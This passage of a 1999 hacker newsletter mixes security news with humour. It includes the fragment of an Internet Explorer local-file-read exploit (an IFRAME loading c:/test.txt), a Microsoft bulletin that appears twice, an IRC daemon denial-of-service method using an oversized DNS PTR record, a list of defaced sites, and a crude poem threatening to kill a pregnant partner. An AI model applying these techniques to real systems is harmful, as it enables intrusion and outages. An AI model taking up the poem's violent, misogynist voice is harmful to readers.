      </SCRIPT>
      <IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME>
      ----------------------------------------------------------------------------------------
      
      
      Workaround:
      Disable Active Scripting
      
      Demonstration is available at http://www.nat.bg/~joro/execcommand.html
      
      
      Regards,
      Georgi Guninski
      http://www.nat.bg/~joro
      
      -=-
      
      The following is a Security Bulletin from the Microsoft Product Security
      Notification Service.
      
      Please do not reply to this message, as it was sent from an unattended
      mailbox.
      ********************************
      
      Microsoft Security Bulletin (MS99-040)
      --------------------------------------
      
      Patch Available for "Download Behavior" Vulnerability
      Originally Posted: September 28, 1999
      Updated: October 08, 1999
      
      Summary
      =======
      On September 28, 1999, Microsoft released the original version of this
      bulletin, in order to provide a workaround for a security vulnerability in
      Microsoft(r) Internet Explorer 5 that could allow a malicious web site
      operator to read files on the computer of a person who visited the site.
      Microsoft has completed a patch that completely eliminates the
      vulnerability, and has re-released this bulletin in order to advise
      customers of its availability.
      
      Frequently asked questions regarding this vulnerability can be found
      at http://www.microsoft.com/security/bulletins/MS99-040faq.asp.
      
      Issue
      =====
      IE 5 includes a feature called "download behavior" that allows web page
      authors to download files for use in client-side script. By design, a web
      site should only be able to download files that reside in its domain; this
      prevents client-side code from exposing files on the user's machine or
      local intranet to the web site. However, a server-side redirect can be used
      to bypass this restriction, thereby enabling a malicious web site operator
      to read files on the user's machine or the user's local intranet. This
      vulnerability would chiefly affect workstations that are connected to the
      Internet.
      
      Affected Software Versions
      ==========================
      - Microsoft Internet Explorer 5
      
      Patch Availability
      ==================
      The patch is available for download at either of the following locations
      - http://windowsupdate.microsoft.com
      - http://www.microsoft.com/msdownload/iebuild/dlbhav/en/dlbhav.htm
      
      More Information
      ================
      Please see the following references for more information related to this
      issue.
      - Microsoft Security Bulletin MS99-040: Frequently Asked Questions,
      http://www.microsoft.com/security/bulletins/ms99-040faq.asp.
      - Microsoft Knowledge Base (KB) article Q242542,
      "Download Behavior" Vulnerability in Internet Explorer 5,
      http://support.microsoft.com/support/kb/articles/Q242/5/42.asp.
      (Note: It may take 24 hours from the original posting of this
      bulletin for this KB article to be visible.)
      - Microsoft Security Advisor web site,
      http://www.microsoft.com/security/default.asp.
      
      Obtaining Support on this Issue
      ===============================
      Information on contacting Microsoft Technical Support is available
      at http://support.microsoft.com/support/contact/default.asp.
      
      Acknowledgments
      ===============
      Microsoft acknowledges Georgi Guninski for bringing this issue to our
      attention.
      
      Revisions
      =========
      - September 28, 1999: Bulletin Created.
      - October 08, 1999: Bulletin updated to announce availability of patch.
      
      -----------------------------------------------------------------------
      
      THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
      WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
      EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
      FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
      SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
      INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
      EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
      POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
      LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
      FOREGOING LIMITATION MAY NOT APPLY.
      
      (c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.
      
      *******************************************************************
      You have received this e-mail bulletin as a result of your registration
      to the Microsoft Product Security Notification Service. You may
      unsubscribe from this e-mail notification service at any time by sending
      an e-mail to MICROSOFT_SECURITY-SIGNOFF-REQUEST@ANNOUNCE.MICROSOFT.COM
      The subject line and message body are not used in processing the request,
      and can be anything you like.
      
      For more information on the Microsoft Security Notification Service
      please visit http://www.microsoft.com/security/services/bulletin.asp. For
      security-related information about Microsoft products, please visit the
      Microsoft Security Advisor web site at http://www.microsoft.com/security.
      
      The following is a Security Bulletin from the Microsoft Product Security
      Notification Service.
      
      Please do not reply to this message, as it was sent from an unattended
      mailbox.
      ********************************
      
      Microsoft Security Bulletin (MS99-040)
      --------------------------------------
      
      Patch Available for "Download Behavior" Vulnerability
      Originally Posted: September 28, 1999
      Updated: October 08, 1999
      
      Summary
      =======
      On September 28, 1999, Microsoft released the original version of this
      bulletin, in order to provide a workaround for a security vulnerability in
      Microsoft(r) Internet Explorer 5 that could allow a malicious web site
      operator to read files on the computer of a person who visited the site.
      Microsoft has completed a patch that completely eliminates the
      vulnerability, and has re-released this bulletin in order to advise
      customers of its availability.
      
      Frequently asked questions regarding this vulnerability can be found
      at http://www.microsoft.com/security/bulletins/MS99-040faq.asp.
      
      Issue
      =====
      IE 5 includes a feature called "download behavior" that allows web page
      authors to download files for use in client-side script. By design, a web
      site should only be able to download files that reside in its domain; this
      prevents client-side code from exposing files on the user's machine or
      local intranet to the web site. However, a server-side redirect can be used
      to bypass this restriction, thereby enabling a malicious web site operator
      to read files on the user's machine or the user's local intranet. This
      vulnerability would chiefly affect workstations that are connected to the
      Internet.
      
      Affected Software Versions
      ==========================
      - Microsoft Internet Explorer 5
      
      Patch Availability
      ==================
      The patch is available for download at either of the following locations
      - http://windowsupdate.microsoft.com
      - http://www.microsoft.com/msdownload/iebuild/dlbhav/en/dlbhav.htm
      
      More Information
      ================
      Please see the following references for more information related to this
      issue.
      - Microsoft Security Bulletin MS99-040: Frequently Asked Questions,
      http://www.microsoft.com/security/bulletins/ms99-040faq.asp.
      - Microsoft Knowledge Base (KB) article Q242542,
      "Download Behavior" Vulnerability in Internet Explorer 5,
      http://support.microsoft.com/support/kb/articles/Q242/5/42.asp.
      (Note: It may take 24 hours from the original posting of this
      bulletin for this KB article to be visible.)
      - Microsoft Security Advisor web site,
      http://www.microsoft.com/security/default.asp.
      
      Obtaining Support on this Issue
      ===============================
      Information on contacting Microsoft Technical Support is available
      at http://support.microsoft.com/support/contact/default.asp.
      
      Acknowledgments
      ===============
      Microsoft acknowledges Georgi Guninski for bringing this issue to our
      attention.
      
      Revisions
      =========
      - September 28, 1999: Bulletin Created.
      - October 08, 1999: Bulletin updated to announce availability of patch.
      
      -----------------------------------------------------------------------
      
      THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED "AS IS"
      WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL WARRANTIES, EITHER
      EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF MERCHANTABILITY AND FITNESS
      FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL MICROSOFT CORPORATION OR ITS
      SUPPLIERS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,
      INCIDENTAL, CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,
      EVEN IF MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
      POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION OR
      LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO THE
      FOREGOING LIMITATION MAY NOT APPLY.
      
      (c) 1999 Microsoft Corporation. All rights reserved. Terms of Use.
      
      *******************************************************************
      You have received this e-mail bulletin as a result of your registration
      to the Microsoft Product Security Notification Service. You may
      unsubscribe from this e-mail notification service at any time by sending
      an e-mail to MICROSOFT_SECURITY-SIGNOFF-REQUEST@ANNOUNCE.MICROSOFT.COM
      The subject line and message body are not used in processing the request,
      and can be anything you like.
      
      For more information on the Microsoft Security Notification Service
      please visit http://www.microsoft.com/security/services/bulletin.asp. For
      security-related information about Microsoft products, please visit the
      Microsoft Security Advisor web site at http://www.microsoft.com/security.
      

      
      
      @HWA       
      
77.0  Gov-boi dies in a car crash?
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      http://www.hack.co.za
      
      Well known and liked on irc (and in #ninjachat) aka Insanity/gov-boi 
      sadly died in a car crash this weekend...he ran the site 
      www.hack.co.za which was popular for its '0day' exploit releases
      
      This is a hot issue I've been fed so much bullshit regarding this 
      story that its not funny. if its true, our condolences 
      
      The site reads;
      
      
      I regretfully announce the sad loss of the owner of www.hack.co.za
      due to an unfortunate innocedent. He was envolved in a car accident
      which claimed his life about 2 hours ago. His loss is a tragedy and his
      security expertise will be greated missed by all who knew him.
   
      He was known on irc as gov-boi or hotmetal.
    
      On a personal note.. I would like to pass on our personal condolences
      to the members of his family..

      ++Matthew Pieterson.
      matthew@hack.co.za
      
      
      The above was written before I found out it was a hoax and even made it
      onto Hackernews.com (sorry guys) I was fed false info, I wasn't the only
      one that fell for this macabre joke, deepquest and mosthated also mailed
      hackernews with the story.... live and learn.
      
      Now the punchline, this was all an elaborate hoax played out by gov-boi
      who is very much alive. The idea was to be a 'ghost hacker' for
      halloween so he took it one step further and faked his death....hope
      this doesn't taunt fate =)s
          
      
      @HWA

 
78.0  "Secret" Nokia phone codes
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From the "Its here coz I have a nokia dept". =) - Ed
      
      If anyone has codes for the 2190e or 51xxx series send em in!!! i'd be
      much appreciative some of these codes work for my phone although are 
      designated for others.  - Ed
      
      
      Source: http://www.nokiaphonefunsite.freeserve.co.uk/secretcodes.html
      
      
      To find out the IMEI number of your phone press:
      
      * # 06 #
      
      To find software version information press:
      
      * # 0000 # or * # 9999 #
      
      To find out about your phone's Warranty, press:
      
      *#92702689# or *#92772689# 
      s
      In this menu there are serveral options:
      
       IMEI (International Mobile Equipment Identification) 
       Made MM/YY (date of production of the phone mm/yy) 
       Purchasing Date (You can edit the Purchase Date here ; you cannot
       undo the changes once edited) 
       Repaired (date of repair, if there was one) 
       Transfer user data 
      
      To activate EFR after phone reboot:
      
      *3370#
      
      To deactivate EFR after phone reboot:
      
      #3370#
      
      To activate HFR after phone reboot:
      
      *4720#
      
      To deactivate HFR after phone reboot:
      
      #4720#
      
      Note: EFR (Enhanced Full Rate) and HFR (Half Full Rate) are only available 
      on Orange and One2One Precept customers. Both increase call quality at the 
      expense of battery life. EFR does this more so than HFR. If your are with 
      Orange, it is likely that EFR is already activated. I haven't tried these, 
      so I'm not sure if they work or not. If you know any codes for Nokia phones
      yourself, please don't hesitate to let me know. 
      
       
  
      @HWA
      
      
79.0  Realnetworks snooping?
      ~~~~~~~~~~~~~~~~~~~~~
      
      From Dragos Ruiu

      RealNetworks has been surreptitiously gathering behavioral data from their 
      jukeboxes.  Seems significant to me. What -does- doubleclick do? --dr

      http://www.wired.com/news/reuters/0,1349,32244,00.html

      Real Snooping by RealNetworks       Reuters 8:35 a.m. 1.Nov.1999 PST 
      RealNetwork's RealJukebox software monitors user listening habits and 
      other activities, then sends the information and the user's identity to 
      the company, The New York Times said. 

      A security expert intercepted and examined information generated from the 
      program, and company officials acknowledged that RealJukebox gathers 
      information on what users are playing and recording, the Times said. 

      RealJukebox is used to play compact discs on computers and can copy music 
      to a user's hard drive and download music from the Internet. 

      Dave Richards, RealNetworks' vice president for consumer products, told 
      the Times the company gathered the information to customize service for 
      individual users. 

      He and other company officials said the practice did not violate consumer 
      privacy because the data was not stored by the company or released to 
      other companies. 

      But privacy advocates and security experts agreed that it was a violation 
      of the privacy of the 13.5 million registered users of RealJukebox, the 
      Times said, particularly because RealNetworks has not informed consumers 
      they are being identified and monitored. 

      Richard Smith, an independent security consultant, said RealNetworks 
      tracks the numbers of songs stored on a user's hard drive, the kind of 
      file formats in which the songs are stored, the user's preferred genre of 
      music, and the type of portable music player, if any, the user has 
      connected to the computer. 

      In addition, a personal serial number known as a globally unique 
      identifier, or GUID, is also sent to RealNetworks, the paper said. 

      The fact that RealNetworks gathers the information is not mentioned in the 
      privacy policy posted on its Web site, the Times said, or the licensing 
      agreement users must approve when installing RealJukebox. 

      Copyright 1999 Reuters Limited. 
      
      @HWA      
      
80.0  Copying DVD's? DVD Encryption broken
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      DVD Piracy: It Can Be Done 
      by Andy Patrizio 
      
      Its 1:20 p.m. 1.Nov.1999 PST The worst fear of movie studios has been 
      realized: DVD movie encryption has been broken. 

      A utility called DeCSS is currently floating around on the Net that will 
      read a DVD movie disc and save the file on a hard disk, minus the 
      encryption. All that’s required is a DVD-ROM drive -- since CD-ROM drives 
      can’t read the 4.7GB       DVD movie discs -- and a lot of disc space. The 
      faster the CPU, the faster it will process the file. It takes around 10 
      minutes to process a .VOB file on a 500MHz Pentium III. 

      The hack opens up illicit online trading of DVD movies, although minus 
      DVD-ROM's interactive elements and outstanding audio/visual quality. 

      The utility, written by two European programmers requesting anonymity, 
      uses DVD playback code found in software-based DVD playback utilities, 
      like WinDVD, ATI DVD from ATI Technologies, and XingDVD. Every player has 
      a DVD copy       protection decoder for playback, just like the hardware 
      decoder in DVD players from Toshiba, Sony, and other consumer electronics 
      devices. 

      One programmer who examined DeCSS said the utility emulates that same 
      playback code. But instead of displaying the video and audio to screen, it 
      simply saves it back to the disk without encryption, since there is no 
      encryption in       playback. "The bottom line is, if you have a decoder, 
      it has to execute somewhere. And that's always been the weak link, where 
      you can get at the encrypted material," said David Moskowitz, president of 
      Productivity Solutions, from King of Prussia, Pennsylvania. 

      Getting the decryption code, as it turns out, is relatively easy. Using an 
      in-circuit emulator -- a device used to monitor hardware activity -- 
      Moskowitz was able to watch exactly what the DVD hardware does in 
      decrypting the movie       on his PC. "With that information, it's no big 
      deal to create the [cracking] application," he said. 

      One programmer who had a peripheral involvement in DeCSS development 
      thinks piracy from this utility is a non-issue. "There have been DVD 
      ripping tools available for months," said Derek Fawcus, a programmer in 
      England. "Among the       things you can find are explicit instructions 
      and software for making VCD copies of DVDs. DeCSS is simply the latest in 
      a line of methods of doing this." 

      Some of the DVD decoder assembler code was released on the Internet, and 
      Fawcus rewrote it in C code. That code was later used in DeCSS. 

      Once decrypted, the DVD movie files, which have a .VOB extension, are too 
      big to fit on a CD-ROM. Most .VOB video files are 1 GB in size, and a 
      movie will be in three or four files. But there are many DVD conversion 
      utilities floating       around on DVD ripping sites, like DVDigest. It 
      has conversion tools, like DVD2MPG and VOBSplit, which can be used to 
      convert a DVD movie into VCD format, which can fit on a CD-ROM disc. There 
      are even sites dedicated to converting DVDs to VCD format. 

      This means losing the interactivity of DVD-ROM and its tremendous sound 
      and video quality, but it also means VCDs can be played on CD-ROM drives. 
      It also makes it easier to trade the movie online. Movie piracy has been a 
      growing       problem on the Internet, with films traded in MPEG and AVI 
      format via Web sites and private file transfer sites. Movies in MPEG 
      format are around 600 MB in size. 

      DVD supporters are not thrilled by the development. "It was like pulling 
      teeth to get the major studios to all commit to standard DVD in the first 
      place," said Jeff McNeil, webmaster of The Big Picture, a home theater 
      enthusiast site. "I       consider this a disturbing development and only 
      hope that it doesn't curtail studio commitment to DVD as we know it 
      today." 
      
      @HWA
      
      
81.0  Elite irc falls
      ~~~~~~~~~~~~~~~
      
            
      ----- Original Message ----- 
      From: Goblin <goblin@ULTIMATE.PT>
      To: <BUGTRAQ@SECURITYFOCUS.COM>
      Sent: Friday, October 29, 1999 6:56 AM
      Subject: DoS attack for ircd's by oversized PTR record
      
      
       (Read, 1st - Some domains and IP's listed here where substituted by fake
       ones, by their owners desire, but the examples are 100% true, and realy
       tested)
       
       I found this "bug" while trying to make a BIG sub-domain on my name server,
       what i just did was on my named.conf put:
       
       A.fccn.deve.estar.enganada.este.e.que.deve.ser.o.maior.nome.de.uma.maquina.e
       m.portugal    IN    A    111.111.111.111
       111.111.111.111.in-addr     IN    PTR
       A.fccn.deve.estar.enganada.este.e.que.deve.ser.o.maior.nome.de.uma.maquina.e
       m.portugal.xxxxxxx.pt.
       
       Changed the serial and did named.restart checked for it (if it's working or
       not).
       
       nslookup
       Default Server:  ptm-1.xxxxxxx.pt
       Address:  111.111.111.2
       
       > 111.111.111.111
       Server:  ptm-1.xxxxxxx.pt
       Address:  111.111.111.2
       
       Name:
       A.fccn.deve.estar.enganada.este.e.que.deve.ser.o.maior.nome.de.uma.maquina.e
       m.portugal.xxxxxxxx.pt
       Address:  111.111.111.111
       
       Well it was working, i now had a ip <-> name (resolving ip)
       So i decides to go to a Portuguese irc network (irc.ptlink.net), to my amaze
       the server crashed (only the ircd) when trying to resolve my ip, i tried
       another server and got the same result.
       I did some more checking and found it to be vurnerable, it was running
       Elite.PTlink3.3.1 a modified version of Elite ircd's.
       I probed arround for another ircd software and i found another network
       runnig u.2.9.32 (a undernet ircd) tried it and found it to be also
       vurlnerable.
       Continuing i tried it on Ptnet version PTnet1.5.39F witch is based on
       Dalnet's ircd's and found it to NOT be vurnerable , when i connected it
       tried to resolve my ip and failed, but it didnt crash, it continued the
       connection normaly.
       
       So let me put this on a small list of affected IRCd's.
       
       Vurnerable:
               Elite ircd (versions unknown)
               Ptlink ircd (all versions)
               Undernet ircd (u.2.9.32)
       Not vulnerable:
               Ptnet (versions unknow and 1.5.39F)
       
       (Note that this DoS could be applied for many other things)
       
       Any questions about this DoS in ircd's please mail me if a valid request i
       would be glad to help.
       
       
       Pedro Reis ( Goblin ) @ Portugal (irc.ptlink.net)
       
       @HWA
      
                                                                               
      -=----------=-         -=----------=-        -=----------=-       -=----------=- 
                                           
                                             0                                     
                                             0                                     
                                             0
                                             o
                                           O O O   
                                             0
                                                                     
                                                                                  
      =----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
     
     
      =----------=-   -=----------=-    -=----------=-   -=----------=-  -=----------=-
     
     
         
            
                                HWA.hax0r.news  
     
     
     
     
     
AD.S  ADVERTI$ING.           The HWA black market                    ADVERTISEMENT$.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      
       *****************************************************************************
       *                                                                           *
       *           ATTRITION.ORG     http://www.attrition.org                      *
       *           ATTRITION.ORG     Advisory Archive, Hacked Page Mirror          *
       *           ATTRITION.ORG     DoS Database, Crypto Archive                  *
       *           ATTRITION.ORG     Sarcasm, Rudeness, and More.                  * 
       *                                                                           *
       *****************************************************************************      
              
 
 
       When people ask you "Who is Kevin Mitnick?" do you have an answer? 
 
       www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
       n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
       m www.2600.com ########################################ww.2600.com www.freeke
       vin.com www.kev#  Support 2600.com and the Free Kevin #.com www.kevinmitnick.
       com www.2600.co#  defense fund site, visit it now! .  # www.2600.com www.free
       kevin.com www.k#             FREE KEVIN!              #in.com www.kevinmitnic
       k.com www.2600.########################################om www.2600.com www.fre
       ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
       k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre

       http://www.2600.com/  http://www.kevinmitnick.com
       
       
       +-----------------------------------------------------------------------------+
       | SmoG Alert ..           http://smog.cjb.net/        NEWS on SCIENCE         |
       | ===================     http://smog.cjb.net/        NEWS on SECURITY        |
       | NEWS/NEWS/NEWS/NEWS     http://smog.cjb.net/        NEWS on THE NET         |
       |                         http://smog.cjb.net/        NEWS on TECHNOLOGY      |
       +-----------------------------------------------------------------------------+
       
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
       *   www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net     *
       *  http://www.csoft.net" One of our sponsers, visit them now  www.csoft.net   * 
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
       * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       
       
       

       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
       * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
       * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *


         //////////////////////////////////////////////////////////////////////////////
        //  To place an ad in this section simply type it up and email it to        //
       //        hwa@press,usmc.net, put AD! in the subject header please. - Ed    //
      //     or cruciphux@dok.org                                                 //
      //////////////////////////////////////////////////////////////////////////////


     @HWA
     
       
              
             
HA.HA Humour and puzzles ...etc
      ~~~~~~~~~~~~~~~~~~~~~~~~~
                                                           Don't worry. worry a *lot*
     
      Send in submissions for this section please! ............c'mon, you KNOW you
      wanna...yeah you do...make it fresh and new...be famous...<sic> 
      
      
      
      So, you want a puzzle do you? well crack the 'code' at the beginning and end of 
      the newsletter only one person has done it so far, so go ahead get your crypto 
      sk1llz out and try cracking it. its easy! 
      
      
        ____                 _ _                                 _             _ _
       / ___|  ___ _ __   __| (_)_ __  _   _  ___  _   _ _ __   / \   ___  ___(_|_)
       \___ \ / _ \ '_ \ / _` | | '_ \| | | |/ _ \| | | | '__| / _ \ / __|/ __| | |
        ___) |  __/ | | | (_| | | | | | |_| | (_) | |_| | |   / ___ \\__ \ (__| | |
       |____/ \___|_| |_|\__,_|_|_| |_|\__, |\___/ \__,_|_|  /_/   \_\___/\___|_|_|
                                       |___/      
                                 / \   _ __| |_
                                / _ \ | '__| __|
                               / ___ \| |  | |_
                              /_/   \_\_|   \__| TOO, for inclusion in future issues
                              
       Do the HWA logo etc and we'll showcase it here to show off your talents...remember
       the 80's? dig out those ascii editors and do yer best...                       
      
                                               _|
                           _|_|_|    _|_|    _|_|_|_|
                         _|    _|  _|    _|    _|
                         _|    _|  _|    _|    _|
                           _|_|_|    _|_|        _|_|
                               _|
                           _|_|
                                                _|      _|_|
                _|  _|_|    _|_|      _|_|    _|_|_|_|      _|
                _|_|      _|    _|  _|    _|    _|      _|_|
                _|        _|    _|  _|    _|    _|
                _|          _|_|      _|_|        _|_|  _|
                
                
                
                      
                      
      
                                       _________________________
                              /|  /|  |                         |
                              ||__||  |  HAX0R FOR HIRE ...     |
                             /   O O\__  WILL HACK FOR NUDE PICS|
                            /          \ OF SARAH MICHELLE      |
                           /      \     \      GELLER! (BUFFY)  |
                          /   _    \     \ ---------------------
                         /    |\____\     \     ||
                        /     | | | |\____/     ||
                       /       \|_|_|/   |    __||
                      /  /  \            |____| ||
                     /   |   | /|        |      --|
                     |   |   |//         |____  --|
              * _    |  |_|_|_|          |     \-/
           *-- _--\ _ \     //           |
             /  _     \\ _ //   |        /
           *  /   \_ /- | -     |       |
             *      ___ c_c_c_C/ \C_c_c_c____________   _________
           
      

       (Ascii art from V0iD magazine #7)         
       
      Buffer Overflow Found in Instant Lunch 
      
      From HNN http://www.hackernews.com/


      contributed by Dr. Mudge 
      A very large and serious security issue has been  uncovered involving a 
      buffer overflow with Maruchan's Instant Lunch. Instant Lunch is a dried 
      soup product relied on by many people for nourishment. If the 
      documentation for its use is followed a possible buffer overflow may
      result seriously injuring the user. Other products, such as Cup O 
      Noodles, may also be affected.

      
      Instant Lunch Advisory 
      http://legions.org/~optik/ins_advise.txt
      
      
                        Advisory: Buffer Overflow in Instant Lunch
                                   Author: optiklenz
                                           legions.org/~optik
                                Contact:  optik@shockimaging.com
                                          optik@legions.org
                                          
      
                  "At two minutes and thirty seconds the darn thing overflows"
      
         Overview:  "As a [hot] snack or delicious meal-anytime" 
                    I came home and was hungry, and had to get to work
                    right away so I popped a Instant Lunch in the microwave 
                    the end results will shock you!. 
      
               The cover of Maruchan's Instant Lunch says ready in 3 minutes.
               that is definitely not the case.  Upon completing 
               extensive research I found that during the second minute Instant
               Lunch is susceptible to a buffer overflow.  The directions on the
               back are as follows:
      
         1. Fold back lid half way. fill to inside line with "boiling" water
      
         2. Close lid "securely" and let stand 3minutes.
      
         3. Remove lid, stir and enjoy from cup.
      
          There is absolutely no truth in the above process, and I have written
          Maruchen himself, and have asked him to re-write the instructions on
          how to prepare the noodles. My remarks on their directions below:
      
         1. If the waters already boiled why would they put the Instant lunch 
            in the microwave?!  HUH? HUH?  This is clearly an error on your part.
         2. During my research I found that even placing a metal object on top
            of my Instant Lunch didn't keep the water from overflowing once it 
            hits the two and a half minute mark.  It did however start shooting
            sparks off everywhere.  I will have to investigate this some more.
         3. "enjoy"  Yes enjoy a nice mess...  (assholes)..  I'm sorry
            I didn't mean to call you assholes it's just sometimes I get emotional
            over certain topics.  
      
         Remotely Overflowing the Water:
      
            My microwave has a USB port so I was able to create an application
            that would control the microwave from a computer in my room.
      
         Example:
      
       [darkone] ps -aux
        microwave  3  0.0  0.5  1692  948 pts/3  S  19:23   0:00 - instant_lunchd
      
       [darkone] ./instant_lunch microwave offset 31337 Total_Fat 12g
      \x8d\x5e\x17 0:3/0;
      8/FF; F/'b1100X1X0;.../micro/
      Water overflowed....
      
      
      This seems to effect Cup O Noodles too, but I'll have to do more testing.
      The versions of Instant Lunch I've tested thus far are
      
      Roast Beef Flavor
      Chicken Vegetable Flavor
      Creme of Chicken Flavor
      California Flavor
      
      
        Solution:
                      There is currently no patch or fix for this overflow.
                      
           There is however a fix for remote attacks.  Simply comment out
           microwave services in inetd.conf.
      
      
      ----------------------------------------------------
      optiklenz was Interviewed by Bob Mathers of the 
      Daily Food.
      ------------------------------------------------------
      
      <Bob> so what do you say to the vendors 
             that make these seemingly wholesome food
             products.
      
      <optiklenz> Well Bob I say that had they done proper
                  testing we'd have much more happy noodle eaters.
                  
      
      <Bob> Is this a high risk?
      
      <optiklenz> Your damn skippy Bob. I mean innocent
                  people are being hurt by the hot water
                  that spews from these poor excuses of 
                  a lunch time meal.  It's also painful
                  to see people traumatized by the lack
                  of flavor that is expected in every bite
                  do to some of it escaping with the overflow.
      
      <Bob> How big is the problem
      
      <optiklenz> As far as I know this is an international 
                  incident.  I did a study and apparently
                  90% of these food products are vulnerable
                  to this overflow. People everywhere eat 
                  Instant Lunch... china, iraq, yogoslavy
      
      
      <Bob>  People like you should be rewarded for your
              research yet you do this for free am I correct?
      
      <optiklenz>  It's all apart of making this world a safer
                   place Bob.  I mean If I don't let people know
                   about these serious issues someone can maliciously
                   buffer overflow someone's food. Their only source of
                   nutrition.  People are dying Bob!
      
      
      <Bob> Well there you have it folks..  optiklenz..  A hacker a hero.
            A modern day saint.  That's all we have for tonight.  Tune in
            next time when we'll bring you an inside look at how cows are
            slaughtered with a special guest appearence from the cDc.
      
      
      
      
      OPTIK FOR PRESIDENT IN 2000 
       
       
       
       Scary prose from the underground ... 
       
       
       
                              _________ _____  _________
                           /   ____// ____\/   _____/
                           \_____  \\   __\ \_____  \ 
                           /        \|  |   /        \
                          /_______  /|__|  /_______  /
                                  \/               \/ 
                                SiCK FUCK SQUAD
                         ! Mindfuckin' you since 1999 !
                   
        TiTLE:  kids
        AUTHoR: Max0r

        !-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!
   
        whoops, you wanted me to pull out?
        quiet bitch, don't scream and shout!

        You can get an abortion, so chill
        it's not hard for cum to spill

        Hell no you aint keeping the baby
        you're dad will shoot me, there's no maybe.

        if you have that kid i'll kill you both
        trust me, shotguns stunt your growth

        don't cry, theres a simple solution
        run away, so I don't face prosecution

        maybe you could smoke alot of crack

        that way your dad thinks the father was black

        don't end up like that bitch rhonda
        she got run over by a two door honda

        listen bitch i gotta run
        I DONT WANT NO FUCKING SON!!!

        ~EOF
        -------------------=====-------
        want to contribute?
        think your fucked up enough?
        sfsquad@yahoo.com
        



      
     @HWA
       
       
       
 SITE.1 
 
      http://www.hack.co.za/
 
            
      You can Send in submissions for this section too if you've found 
      (or RUN) a cool site...
       
        
       
      @HWA
       
         
         
  H.W Hacked websites 
      ~~~~~~~~~~~~~~~~

      Note: The hacked site reports stay, especially with some cool hits by
            groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed

          * Hackers Against Racist Propaganda (See issue #7)

     
      Haven't heard from Catharsys in a while for those following their saga visit
      http://frey.rapidnet.com/~ptah/ for 'the story so far'...
      
      Hacker groups breakdown is available at Attrition.org
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      check out http://www.attrition.org/mirror/attrition/groups.html to see who
      you are up against. You can often gather intel from IRC as many of these
      groups maintain a presence by having a channel with their group name as the
      channel name, others aren't so obvious but do exist.
      
      >Start<
      
      Last week attrition took a bit of a vacation but they're back with more
      defacements listed below;
      
      
      We've come across the first Microsoft defacement we've ever recorded. As
      you know we've scoured through some of the top mirrors to ensure
      Attrition's historic accuracy (http://www.attrition.org/mirror) and none of
      those included a Microsoft defacement either:
      
      Lots of .gov and .mil servers have been hit this week, looks like people 
      have been active playing with fire... lets hope this doesn't bring down a
      whole new hacker witch hunt from the feds. - Ed
      
      Defaced domain: www.redcrossblood.org 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/31/www.redcrossblood.org 
      Defaced by: hacking for ponies 
      Operating System: Solaris
      
      Defaced domain: www.westmount.cx 
      Mirror: http://www.attrition.org/mirror/attrition/1999/10/31/www.westmount.cx 
      Defaced by: sh0rt and GBMP 
      Operating System: FreeBSD 2.2.1 - 3.0 (Apache 1.3.9)
      Date 10/31/99
            
      Defaced domain: peoavn.redstone.army.mil 
